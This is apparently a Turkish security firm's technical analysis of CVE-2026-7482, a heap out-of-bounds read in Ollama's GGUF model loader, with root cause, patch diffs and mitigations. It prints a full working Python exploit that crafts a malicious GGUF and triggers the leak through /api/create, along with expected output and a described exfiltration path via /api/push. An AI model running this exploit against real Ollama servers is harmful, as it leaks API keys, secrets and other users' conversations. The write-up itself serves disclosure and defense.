EresusSecurity
Araştırmalara Dön
Vulnerability Analysis

CVE-2026-7482: Ollama GGUF Heap Out-of-Bounds Okuma — Tam Teknik Analiz

Yiğit İbrahim SağlamOfansif Güvenlik Uzmanı
4 Mayıs 2026
Güncellendi: 5 Mayıs 2026
16 dk okuma
Advisory AnalysisAI Infrastructure

Özet

4 Mayıs 2026'da kamuoyuyla paylaşılan CVE-2026-7482, Ollama'nın GGUF model yükleyicisindeki kritik bir heap out-of-bounds (OOB) okuma zafiyetidir. Kimliği doğrulanmamış uzak saldırganlar, özel olarak hazırlanmış bir GGUF dosyasını /api/create endpoint'ine yükleyerek Ollama sürecinin heap belleğinden yaklaşık 2 MB veri sızdırabilir. Bu veri; ortam değişkenlerini (OLLAMA_*, PATH vb.), API anahtarlarını, sistem promptlarını ve eş zamanlı kullanıcıların anlık konuşma verilerini içerebilir.

CVSS v3.1: 9.1 KRİTİKAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
CVSS v4.0: 8.8 YÜKSEKAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N

Zafiyet Ollama 0.17.1 ile düzeltildi.


Neden Bu Kritik?

Sıradan bir bellek sızıntısı değil. Bu açık üç sebepten öne çıkıyor:

1. Kimlik doğrulaması yok. Ollama'nın /api/create ve /api/blobs endpoint'leri upstream dağıtımında varsayılan olarak kimlik doğrulamasız. Üretim ortamlarında sık kullanılan OLLAMA_HOST=0.0.0.0 konfigürasyonuyla servis internete açıksa, saldırı için hiçbir ön koşul gerekmez.

2. Sızdırılan veriler değerlidir. Heap OOB okuması; OLLAMA ortam değişkenlerini, bellekte önbelleğe alınmış API anahtarlarını, diğer kullanıcılara ait anlık LLM konuşmalarını ve sistem promptlarını içerebilir. Saldırgan sızdırılan katmanı /api/push aracılığıyla kendi kontrolündeki registry'e yükleyerek veriyi dışarı çıkarabilir.

3. Tekrarlanabilir. Exploit her çağrıda deterministik biçimde tetiklenir; race condition veya zamanlama bağımlılığı yoktur. Farklı heap pencereleri için birden fazla kez çalıştırılarak daha geniş bir bellek görüntüsü elde edilebilir.


Etkilenen Sürümler

| Durum | Sürüm | |-------|-------| | Zafiyet mevcut | Ollama < 0.17.1 | | Düzeltildi | Ollama ≥ 0.17.1 |

Varsayılan konfigürasyonda API 127.0.0.1:11434 adresini dinler. Ancak üretim ortamlarında yaygın olarak kullanılan OLLAMA_HOST=0.0.0.0 konfigürasyonuyla servis internete açıklandığında, kimliği doğrulanmamış herhangi bir saldırgan bu açığı doğrudan sömürebilir. /api/create ve /api/push endpoint'lerinin upstream dağıtımda varsayılan olarak kimlik doğrulaması gerektirmediğine dikkat etmek gerekir.


Kök Neden Analizi: İki Hata Zinciri

Zafiyet, GGUF model yükleyici ve quantization pipeline'ındaki iki bağımsız hatanın zincirlenmesinden kaynaklanır.

Güvenlik Açığı Olan Kod Yolu

HATA 1: gguf.Decode() İçinde Dosya Boyutu Sınır Kontrolü Eksikliği

fs/ggml/gguf.go içindeki gguf.Decode() fonksiyonu, tensor metadata'sını (isim, şekil, tür, offset) GGUF başlığından okurken bildirilen tensor boyutunun gerçek dosya boyutuna sığıp sığmadığını doğrulamıyor. Saldırgan kontrolündeki shape alanlarına körü körüne güveniyor:

// Savunmasız kod: dosya boyutu alınmıyor, tensor başına sınır kontrolü yok
for _, tensor := range llm.tensors {
    offset, err := rs.Seek(0, io.SeekCurrent)
    if err != nil {
        return fmt.Errorf("failed to get current offset: %w", err)
    }
    padding := ggufPadding(offset, int64(alignment))

    if _, err := rs.Seek(padding, io.SeekCurrent); err != nil {
        return fmt.Errorf("failed to seek to init padding: %w", err)
    }
    // EOF ötesine Seek sessizce başarılı — sınır kontrolü yok
    if _, err := rs.Seek(int64(tensor.Size()), io.SeekCurrent); err != nil {
        return fmt.Errorf("failed to seek to tensor: %w", err)
    }
}

1024x1024 F32 tensor 4.194.304 bayt talep eder; dosyada yalnızca 32 bayt bulunabilir. Go'da, bellek arabelleğiyle desteklenen io.ReadSeeker üzerinde EOF ötesine Seek çağrısı hata döndürmez — sessizce başarılı olur. Bu, yalnızca "dosya boyutu doğrulaması yok" meselesi değildir; Go'nun bellek destekli reader davranışıyla ilgili temel bir beklenti yanlışlığıdır.

HATA 2: quantizer.WriteTo() İçinde Saldırgan Kontrolündeki Uzunlukla unsafe.Slice

/api/create isteğine quantize alanı eklendiğinde quantizer her tensor'ı işler. server/quantization.go içindeki WriteTo(), sınırlandırılmış bir SectionReader oluşturur ve tensor baytlarını okur:

// server/quantization.go içindeki savunmasız kod — quantizer.WriteTo()
sr := io.NewSectionReader(q, int64(q.offset), int64(q.from.Size()))
data, err := io.ReadAll(sr)
// data yalnızca dosyada gerçekten bulunan baytları içerir (ör. 32 bayt)
// io.ReadAll normal şekilde EOF'a ulaşır — hata döndürmez

// Saldırgan kontrolündeki eleman sayısı shape metadata'dan geliyor
// q.from.Elements() = 1.048.576 (1024×1024 şeklinden)

var f32s []float32
// ...
f32s = unsafe.Slice((*float32)(unsafe.Pointer(&data[0])), q.from.Elements())
// ^^^ Go runtime, unsafe.Slice oluşturmayı sınır kontrolü YAPMIYOR

unsafe.Slice çağrısı &data[0] pointer'ı ve 1.048.576 uzunluğuyla bir Go dilim başlığı oluşturur; fakat Go runtime bunu arkaplan dizisinin gerçek kapasitesine (32 bayt) karşı doğrulamaz. Quantizer f32s[8:] ve ötesini yinelediğinde, 32 baytlık heap tahsisinin sonundan 4.194.272 bayt okur — komşu heap sayfalarını, goroutine stack'lerini, string interning tablolarını, HTTP istek gövdelerini (diğer kullanıcıların promptlarını), ortam değişkenlerini ve önbelleğe alınmış API anahtarlarını okur.

Girişin Nasıl Saldırı Noktasına Ulaştığı

Saldırgan kontrolündeki GGUF başlık alanları (shape: [1024, 1024])
    │
    ▼
gguf.Decode() — dosya boyutu doğrulaması YOK
    │ tensor.Size() = 2.097.152 bayt (1024×1024×F16)
    │ gerçek dosya = 512 bayt
    │ Seek(EOF+2M) sessizce başarılı
    ▼
Tensor metadata objesi oluşturulur (Shape=[1024,1024], Offset=0)
    │
    ▼
quantizer.WriteTo() — her tensor için çağrılır
    │ io.ReadAll(SectionReader) → 32 bayt (dosyadan gerçek veri)
    │ q.from.Elements() = 1.048.576 (metadata'dan, DOĞRULANMADAN)
    ▼
unsafe.Slice((*float32)(&data[0]), 1.048.576)
    │ Go runtime sınır kontrolü YAPMAZ
    │ Dilim başlığı: ptr=&heap_alloc_32bytes, len=1.048.576, cap=1.048.576
    ▼
Quantizer döngüsü tüm 1M elemanı yineler
    → 32 baytlık tahsisin 4.194.272 bayt ötesini okur
    → Heap belleği: ortam değişkenleri, API anahtarları, promptlar, konuşma verileri
    ▼
Q8_0 quantize edilmiş katman (~1.06 MB) sızdırılan heap baytlarını içerir
    → /api/push ile saldırgan registry'sine yüklenebilir

Yama Analizi

Yama her iki aşamada bağımsız koruma uygular (derinlemesine savunma).

DÜZELTME 1: gguf.Decode() Dosya Boyutu Sınır Kontrolü

Tensor metadata ayrıştırmasından hemen sonra, döndürmeden önce eklendi:

+       fileSize, err := rs.Seek(0, io.SeekEnd)
+       if err != nil {
+           return fmt.Errorf("failed to determine file size: %w", err)
+       }
        for _, tensor := range llm.tensors {
            offset, err := rs.Seek(0, io.SeekCurrent)
            // ...
            padding := ggufPadding(offset, int64(alignment))
            if _, err := rs.Seek(padding, io.SeekCurrent); err != nil {
                return fmt.Errorf("failed to seek to init padding: %w", err)
            }
+           tensorEnd := llm.tensorOffset + tensor.Offset + tensor.Size()
+           if tensorEnd > uint64(fileSize) {
+               return fmt.Errorf("tensor %q offset+size (%d) exceeds file size (%d)",
+                   tensor.Name, tensorEnd, fileSize)
+           }
            if _, err := rs.Seek(int64(tensor.Size()), io.SeekCurrent); err != nil {
                return fmt.Errorf("failed to seek to tensor: %w", err)
            }
        }

Düzeltme dosyanın sonuna seek yaparak gerçek boyutu alır, ardından her tensor için llm.tensorOffset + tensor.Offset + tensor.Size() ≤ fileSize kontrolünü yapar. 512 baytlık dosyada 2 MB tensor verisi bildiren hazırlanmış bir GGUF herhangi bir veri okunmadan burada reddedilir ve hata mesajı şöyle görünür:

{"error":"tensor \"blk.0.attn_q.weight\" offset+size (2097632) exceeds file size (512)"}

DÜZELTME 2: unsafe.Slice Öncesi Veri Boyutu Doğrulaması

io.ReadAll'dan hemen sonra, savunmasız unsafe.Slice çağrısından önce eklendi:

        data, err := io.ReadAll(sr)
        if err != nil {
            return 0, err
        }
+       if uint64(len(data)) < q.from.Size() {
+           return 0, fmt.Errorf("tensor %s data size %d is less than expected %d from shape %v",
+               q.from.Name, len(data), q.from.Size(), q.from.Shape)
+       }
        var f32s []float32
        // ...
        f32s = unsafe.Slice((*float32)(unsafe.Pointer(&data[0])), q.from.Elements())

Bu derinlemesine savunmadır: Decode() kontrolünü atlayan hazırlanmış bir dosya bile, quantizer yetersiz arabelleğe sahip unsafe.Slice çağrısını reddeder. İkinci düzeltme, unsafe Go paketi kullanan tüm koda uygulanması gereken genel bir ilkeyi de örneklemektedir: unsafe.Slice çağrısından önce her zaman arkaplan dizisinin boyutunu doğrulayın.


Proof of Concept

Aşağıdaki PoC, araştırmacılar tarafından vendor yaması yayımlandıktan sonra kamuoyuyla paylaşılmıştır. Yalnızca eğitim, güvenlik testi ve savunma amacıyla kullanılmalıdır.

#!/usr/bin/env python3
"""
CVE-2026-7482 — Ollama GGUF Heap Out-of-Bounds Read (Bilgi Sızıntısı)
Etkilenen: ollama/ollama < 0.17.1
Tür: Heap OOB Okuma — çağrı başına ~2 MB heap belleği sızdırır

GGUF model yükleme + quantization pipeline'ındaki iki hata zinciri:
  1. gguf.Decode() saldırgan kontrolündeki tensor şekillerine gerçek dosya boyutunu
     karşılaştırmadan güvenir (EOF ötesine seek sessizce başarılı olur).
  2. quantizer.WriteTo(), saldırgan kontrolündeki eleman sayısıyla unsafe.Slice() çağırır,
     heap tahsisinin çok ötesine yayılan bir Go dilimi oluşturur — runtime'da komşu
     heap sayfalarını okur.

Saldırı akışı:
  1. 1024x1024 F16 tensor (~2 MB) bildiren ancak yalnızca ~512 baytlık gerçek veri
     içeren kötü niyetli bir GGUF oluştur.
  2. Blobu /api/blobs/sha256:<hash> adresine yükle.
  3. files={model.gguf: sha256:<hash>} + quantize=Q8_0 ile /api/create'e POST gönder.
     Bu her tensor'ı quantizer.WriteTo() üzerinden yönlendirir:
       unsafe.Slice((*float32)(&data[0]), q.from.Elements())
     ile q.from.Elements() = 1.048.576, data yalnızca 16 F16 eleman içerirken.
     Oluşturulan Go dilimi heap tahsisinin ~2 MB sonrasına yayılır.
  4. Savunmasız: {"status":"success"} döner — OOB okuma sessizce gerçekleşir.
     Quantize edilmiş katman (1.06 MB) sızdırılan heap baytlarını içerir.
  5. Yamalı: {"error":"tensor ... exceeds file size"} döner — reddedilir.

Başarı göstergesi:
  - /api/create {"status":"success"} ile tamamlanır
  - Yeni model katmanı ~1.114.624 bayt (1M F16 elemanının Q8_0'ı)
  - Dosya boyutu yalnızca 512 bayttı → heap OOB okuması gerçekleştiğini kanıtlar

Kullanım:
  python exploit.py --host 127.0.0.1 --port 11434         # savunmasız
  python exploit.py --host 127.0.0.1 --port 11435         # yamalı — hata vermeli
"""

import argparse
import hashlib
import json
import struct
import sys
import urllib.error
import urllib.request


# ---------------------------------------------------------------------------
# GGUF oluşturucu — OOB tensor içeren minimal ama spec-doğru F16 LLaMA modeli
# ---------------------------------------------------------------------------

def pack_gguf_str(s: str) -> bytes:
    b = s.encode()
    return struct.pack("<Q", len(b)) + b


def kv_uint32(key: str, val: int) -> bytes:
    return pack_gguf_str(key) + struct.pack("<I", 4) + struct.pack("<I", val)


def kv_float32(key: str, val: float) -> bytes:
    return pack_gguf_str(key) + struct.pack("<I", 6) + struct.pack("<f", val)


def kv_string(key: str, val: str) -> bytes:
    return pack_gguf_str(key) + struct.pack("<I", 8) + pack_gguf_str(val)


def build_malicious_gguf() -> bytes:
    """
    Geçerli bir LLaMA F16 modeli gibi görünen ancak 1024x1024 F16 tensor
    (2.097.152 bayt) bildirirken yalnızca 32 bayt gerçek tensor verisi içeren
    bir GGUF v3 dosyası oluşturur.

    Tasarım kararları:
    - general.file_type = 1 (MOSTLY_F16): 0.17.0'daki pre-quantize kontrolünden geçer
    - Tensor türü = 1 (GGUF_TYPE_F16): file_type bildirimiyle tutarlı
    - Tüm gerekli LLaMA mimari KV çiftleri mevcut: GGUF tam ve geçerli görünür
    - tensor offset = 0: tensor veri bloğu header pad'den hemen sonra başlar
    - Yalnızca 32 bayt tensor verisi: unsafe.Slice'ın EOF'dan ~2MB ötesini okumasına neden olur
    """
    magic = b"GGUF"
    version = struct.pack("<I", 3)
    tensor_count = struct.pack("<Q", 1)

    kvs = [
        kv_string("general.architecture", "llama"),
        kv_uint32("general.file_type", 1),              # 1 = MOSTLY_F16
        kv_uint32("llama.context_length", 512),
        kv_uint32("llama.embedding_length", 1024),
        kv_uint32("llama.block_count", 1),
        kv_uint32("llama.feed_forward_length", 2048),
        kv_uint32("llama.attention.head_count", 8),
        kv_uint32("llama.attention.head_count_kv", 8),
        kv_float32("llama.attention.layer_norm_rms_epsilon", 1e-5),
    ]
    kv_block = b"".join(kvs)
    kv_count = struct.pack("<Q", len(kvs))

    # Tensor: 1024x1024 F16 — 2.097.152 bayt bildiriyor, dosyada 32 bayt var
    tname = pack_gguf_str("blk.0.attn_q.weight")
    ndims = struct.pack("<I", 2)
    dim0 = struct.pack("<Q", 1024)
    dim1 = struct.pack("<Q", 1024)
    ttype = struct.pack("<I", 1)    # GGUF_TYPE_F16
    toffset = struct.pack("<Q", 0)  # tensor verisi data bloğunun 0. konumunda

    header = magic + version + tensor_count + kv_count + kv_block
    header += tname + ndims + dim0 + dim1 + ttype + toffset

    # 32 bayt hizalamaya pad yap (Ollama varsayılan GGUF hizalaması)
    pad_len = (32 - len(header) % 32) % 32
    header += b"\x00" * pad_len

    # Yalnızca 32 bayt tensor verisi — çıktıda heap baytlarına karşı tanınabilir dolgu
    tensor_data = b"\x41" * 32

    return header + tensor_data


# ---------------------------------------------------------------------------
# HTTP yardımcıları
# ---------------------------------------------------------------------------

def http_post_raw(url: str, data: bytes, content_type: str = "application/octet-stream"):
    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", content_type)
    try:
        with urllib.request.urlopen(req, timeout=120) as resp:
            return resp.getcode(), resp.read()
    except urllib.error.HTTPError as e:
        return e.code, e.read()


def stream_post_json(url: str, body: dict):
    """JSON POST gönder, NDJSON akış yanıt satırlarını topla."""
    data = json.dumps(body).encode()
    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/json")
    lines = []
    try:
        with urllib.request.urlopen(req, timeout=300) as resp:
            for raw in resp:
                line = raw.decode().strip()
                if line:
                    lines.append(line)
    except urllib.error.HTTPError as e:
        body_err = e.read().decode(errors="replace")
        lines.append(json.dumps({"error": body_err, "_http_status": e.code}))
    return lines


# ---------------------------------------------------------------------------
# Exploit
# ---------------------------------------------------------------------------

DECLARED_TENSOR_BYTES = 1024 * 1024 * 2   # F16: eleman başına 2 bayt × 1M eleman
EXPECTED_LAYER_BYTES = (1024 * 1024 // 32) * 34  # Q8_0: 32 elemanlık blok başına 34 bayt


def exploit(host: str, port: int) -> bool:
    base = f"http://{host}:{port}"
    print(f"[*] Hedef   : {base}")

    # Adım 1: kötü niyetli GGUF oluştur
    print("[*] Kötü niyetli GGUF oluşturuluyor...")
    payload = build_malicious_gguf()
    sha256 = hashlib.sha256(payload).hexdigest()
    print(f"    Dosya boyutu           : {len(payload)} bayt")
    print(f"    SHA-256                : {sha256}")
    print(f"    Bildirilen tensor      : {DECLARED_TENSOR_BYTES:,} bayt (1024×1024 F16)")
    print(f"    Gerçek tensor verisi   : 32 bayt")

    # Adım 2: blob yükle
    upload_url = f"{base}/api/blobs/sha256:{sha256}"
    print(f"\n[*] Blob yükleniyor → {upload_url}")
    code, _ = http_post_raw(upload_url, payload)
    if code not in (200, 201):
        print(f"[!] Blob yükleme başarısız: HTTP {code}")
        return False
    print(f"    HTTP {code} — blob kabul edildi")

    # Adım 3: quantization tetikle (OOB okuma burada gerçekleşir)
    model_name = f"cve-2026-7482-probe-{sha256[:8]}"
    create_body = {
        "name": model_name,
        "files": {"model.gguf": f"sha256:{sha256}"},
        "quantize": "Q8_0",
    }
    create_url = f"{base}/api/create"
    print(f"\n[*] Quantization tetikleniyor → {create_url}")
    print(f"    quantize=Q8_0 tensorları quantizer.WriteTo() üzerinden yönlendirir")
    print(f"    unsafe.Slice(&data[0], 1048576) 32 baytlık tahsis üzerinde tetiklenir")
    lines = stream_post_json(create_url, create_body)

    print(f"\n[*] Sunucu yanıtı ({len(lines)} satır):")
    for line in lines:
        print(f"    {line}")

    # Adım 4: sonucu değerlendir
    last = lines[-1] if lines else "{}"
    try:
        obj = json.loads(last)
    except json.JSONDecodeError:
        obj = {}

    if "error" in obj:
        err = obj["error"]
        if "exceeds file size" in err:
            print("\n[-] YAMALI — Düzeltme 1 (gguf.Decode sınır kontrolü) exploit'i engelledi:")
            print(f"    {err}")
            return False
        if "data size" in err and "less than expected" in err:
            print("\n[-] YAMALI — Düzeltme 2 (unsafe.Slice koruması) exploit'i engelledi:")
            print(f"    {err}")
            return False
        if "only supported for F16 and F32" in err:
            print("\n[-] Pre-exploit kontrolü başarısız (file_type veya mimari uyuşmazlığı):")
            print(f"    {err}")
            return False
        print(f"\n[!] Beklenmedik hata: {err}")
        return False

    if obj.get("status") == "success":
        layer_digest = None
        for line in lines:
            try:
                o = json.loads(line)
                if "creating new layer" in o.get("status", ""):
                    layer_digest = o["status"].split("sha256:")[-1]
            except json.JSONDecodeError:
                pass

        print("\n[+] SAVUNMASIZ — heap OOB okuma doğrulandı:")
        print(f"    Girdi dosyası          : {len(payload)} bayt")
        print(f"    Bildirilen tensor      : {DECLARED_TENSOR_BYTES:,} bayt")
        print(f"    Beklenen Q8_0 katmanı  : {EXPECTED_LAYER_BYTES:,} bayt")
        print(f"    (katman >> dosya boyutu → heap baytları sınır dışı okundu)")
        if layer_digest:
            print(f"    Yeni katman özeti      : sha256:{layer_digest}")
        print(f"    Model adı              : {model_name}")
        print(f"    Sızdırılan katman ~2 MB Ollama heap belleği içeriyor (ortam değişkenleri,")
        print(f"    API anahtarları, anlık promptlar) Q8_0 quantize float olarak kodlanmış.")
        return True

    statuses = []
    for line in lines:
        try:
            statuses.append(json.loads(line).get("status", ""))
        except json.JSONDecodeError:
            pass
    if any("quantizing" in s for s in statuses):
        print("\n[+] MUHTEMELEN SAVUNMASIZ — quantization çalıştı (OOB okuma gerçekleşti).")
        return True

    print("\n[?] Belirsiz — sunucu yanıtından sonuç belirlenemedi.")
    return False


# ---------------------------------------------------------------------------
# Giriş noktası
# ---------------------------------------------------------------------------

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2026-7482 — Ollama GGUF heap OOB okuma exploit"
    )
    parser.add_argument("--host", required=True, help="Hedef host")
    parser.add_argument("--port", type=int, default=11434, help="Ollama HTTP portu (varsayılan: 11434)")
    args = parser.parse_args()

    success = exploit(args.host, args.port)
    sys.exit(0 if success else 1)

Kullanım

# Savunmasız Ollama örneğine karşı (< 0.17.1):
python exploit.py --host 127.0.0.1 --port 11434

# Yamalı Ollama örneğine karşı (≥ 0.17.1):
python exploit.py --host 127.0.0.1 --port 11435

Savunmasız Sunucu Beklenen Çıktısı

[*] Hedef   : http://127.0.0.1:11434
[*] Kötü niyetli GGUF oluşturuluyor...
    Dosya boyutu           : 512 bayt
    SHA-256                : 795d927a27a37249a4ea0ef51650f48cc9b2a891c2498bba3f474a5029996a62
    Bildirilen tensor      : 2.097.152 bayt (1024×1024 F16)
    Gerçek tensor verisi   : 32 bayt

[*] Blob yükleniyor → http://127.0.0.1:11434/api/blobs/sha256:795d927...
    HTTP 200 — blob kabul edildi

[*] Quantization tetikleniyor → http://127.0.0.1:11434/api/create
    quantize=Q8_0 tensorları quantizer.WriteTo() üzerinden yönlendirir
    unsafe.Slice(&data[0], 1048576) 32 baytlık tahsis üzerinde tetiklenir

[*] Sunucu yanıtı (6 satır):
    {"status":"parsing GGUF"}
    {"status":"quantizing F16 model to Q8_0","digest":"0000000000000000000","total":512,"completed":33554432}
    {"status":"verifying conversion"}
    {"status":"creating new layer sha256:ff5a43a8b0fb91e312a97bdaa8d5f2621646fac833269cf9f985509eb7e45fe7"}
    {"status":"writing manifest"}
    {"status":"success"}

[+] SAVUNMASIZ — heap OOB okuma doğrulandı:
    Girdi dosyası          : 512 bayt
    Bildirilen tensor      : 2.097.152 bayt
    Beklenen Q8_0 katmanı  : 1.114.112 bayt
    (katman >> dosya boyutu → heap baytları sınır dışı okundu)
    Yeni katman özeti      : sha256:ff5a43a8b0fb91e312a97bdaa8d5f2621646fac833269cf9f985509eb7e45fe7
    Model adı              : cve-2026-7482-probe-795d927a
    Sızdırılan katman ~2 MB Ollama heap belleği içeriyor (ortam değişkenleri,
    API anahtarları, anlık promptlar) Q8_0 quantize float olarak kodlanmış.

Yamalı Sunucu Beklenen Çıktısı

[*] Hedef   : http://127.0.0.1:11435
[*] Kötü niyetli GGUF oluşturuluyor...
    ...

[*] Sunucu yanıtı (2 satır):
    {"status":"parsing GGUF"}
    {"error":"tensor \"blk.0.attn_q.weight\" offset+size (2097632) exceeds file size (512)"}

[-] YAMALI — Düzeltme 1 (gguf.Decode sınır kontrolü) exploit'i engelledi:
    tensor "blk.0.attn_q.weight" offset+size (2097632) exceeds file size (512)

Sömürü Notları

Ön Koşullar

  • Ollama < 0.17.1 çalışıyor ve ağ üzerinden erişilebilir
  • /api/create ve /api/blobs endpoint'lerine erişilebilir (varsayılan olarak kimlik doğrulamasız)
  • Quantization özelliği etkin (varsayılan olarak etkin)

Güvenilirlik

Exploit, ön koşullar sağlandığında %100 güvenilirdir. Zafiyet her çalıştırmada deterministik biçimde tetiklenir; race condition veya zamanlama bağımlılığı yoktur. /api/create içindeki quantize alanı zorunludur; çıkarıldığında savunmasız kod yolunu atlar.

Etki

  • Bellek ifşası: Çağrı başına yaklaşık 2 MB Ollama süreç heap belleği sızdırır
  • Çalınan bilgiler:
    • Ortam değişkenleri (OLLAMA_*, PATH, HOME vb.)
    • Bellekte önbelleğe alınmış API anahtarları
    • Sistem promptları ve gizli LLM konfigürasyonları
    • Eş zamanlı kullanıcıların anlık LLM konuşma verileri
    • Goroutine stack'leri, string tabloları ve iç kütüphane durumu
  • Tekrarlanabilirlik: Saldırgan farklı heap pencerelerini sızdırmak için exploiti birden fazla kez çalıştırabilir
  • Sızıntı kanalı: Sızdırılan heap baytları quantize edilmiş model katmanı içinde kodlanır ve saldırgan kontrolündeki registry'e /api/push aracılığıyla yüklenebilir

Zincir Potansiyeli

  • Kimlik bilgisi yükseltme: Heap belleğinde API anahtarları veya auth token'ları sızdırılırsa, downstream servislere yönelik saldırılar tırmandırılabilir.
  • Bilgi toplama: Sızdırılan sistem promptları ve iç veriler, LLM deploymentının uygulama detaylarını ortaya çıkarır.
  • Hizmet reddi (yan etki): OOB okuma sunucuyu doğrudan çökertemez, ancak büyük kötü niyetli GGUF dosyalarının tekrarlı quantization'ı belleği tüketerek servisi yavaşlatabilir.

Sömürü Etkisi

Saldırganın elde edebilecekleri:

| Veri Kategorisi | Açıklama | |----------------|----------| | Ortam değişkenleri | OLLAMA_*, PATH, HOME, USER ve diğer süreç ortamı | | API anahtarları | Downstream LLM sağlayıcı anahtarları (OpenAI, Anthropic vb.) | | Sistem promptları | Gizli LLM konfigürasyonları, ürün mantığı | | Anlık konuşmalar | Eş zamanlı kullanıcıların aktif LLM konuşmaları | | Go runtime iç verileri | Goroutine stack'leri, string tabloları, heap metadata |

Her çalıştırma yaklaşık 2 MB heap penceresi sızdırır. Birden fazla çalıştırma farklı heap bölgelerini kapsayabilir ve bütünsel bir bellek görüntüsü elde edilebilir.

Birincil sızıntı vektörü: Quantize edilmiş katman /api/push aracılığıyla saldırgan kontrolündeki bir model registry'sine yüklenebilir. Bu sayede Ollama'nın production ortamından gelen bellek içeriği açık bir kanal aracılığıyla dışarıya sızdırılabilir.


Hızlı Düzeltme

Hemen Güncelle

# Ollama'yı en son sürüme güncelle (≥ 0.17.1)
curl -fsSL https://ollama.com/install.sh | sh

# Sürümü doğrula
ollama --version
# Çıktı: ollama version is 0.17.1 (veya daha yeni)

Mevcut Açığı Kontrol Et

# Ollama'nın hangi adreste dinlediğini kontrol et
ss -tlnp | grep 11434

# 0.0.0.0:11434 görünüyorsa → servis dışarıya açık (riskli)
# 127.0.0.1:11434 görünüyorsa → varsayılan konfigürasyon (yalnızca yerel)

# Çalışan Ollama sürümünü kontrol et
ollama --version
ps aux | grep ollama

Anında Güncelleme Mümkün Değilse Geçici Önlem

# Dışarıdan erişimi kısıtla (Linux firewall)
iptables -A INPUT -p tcp --dport 11434 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 11434 -j DROP

Uzun vadeli çözüm olarak Ollama'yı kimlik doğrulama zorunlu bir reverse proxy (nginx, Caddy) arkasına yerleştirin ve /api/create ile /api/push endpoint'lerine erişimi yalnızca yetkili iç hizmetlerle sınırlandırın.


Eresus Bakış Açısı

CVE-2026-7482, yapay zeka inference altyapısının henüz yeterince incelenmemiş bir saldırı yüzeyi oluşturduğunu açıkça ortaya koyuyor. Model yükleme API'leri konfigürasyona benzer işlemler gibi görünür; ancak gerçekte son derece ayrıcalıklı runtime bağlamlarında yürütülür ve süreç belleğine doğrudan erişime sahiptir.

Herhangi bir Ollama deploymentı için sorulması gereken sorular:

  • Ollama örneği genel internete veya dahili ağa açık mı?
  • /api/create ve /api/push endpoint'lerine erişim proxy veya firewall ile kısıtlanmış mı?
  • Ollama süreç ortamında gizli API anahtarları bulunuyor mu?
  • Model registry güveni nasıl yönetiliyor?
  • Eş zamanlı kullanıcı isteklerini işleyen üretim ortamları var mı?

Yapay zeka altyapısı güvenliği, web uygulaması güvenliğiyle aynı titizliği gerektiriyor — yalnızca LLM çıktılarına değil, modelin çalıştığı runtime'a ve model yükleme pipeline'ına da odaklanmak gerekiyor.


Kontrol Listesi

  • [ ] Ollama sürümü doğrulandı (≥ 0.17.1)
  • [ ] /api/create ve /api/blobs endpoint'leri erişilebilirlik açısından kontrol edildi
  • [ ] Servis internet/dahili ağa açıksa patch uygulandı veya geçici önlem alındı
  • [ ] Ortam değişkenlerindeki gizli bilgiler incelendi
  • [ ] Üretim ortamında kimlik doğrulamalı erişim için proxy/güvenlik duvarı yapılandırıldı
  • [ ] Model registry güven modeli gözden geçirildi

Referanslar

Güvenlik Doğrulaması

Bu riski kendi sisteminizde test ettirdiniz mi?

Eresus Security; sızma testi, AI ajan güvenliği ve kırmızı takım operasyonlarıyla gerçek istismar kanıtı üretir.

Pilot test talep et

İlgili Araştırmalar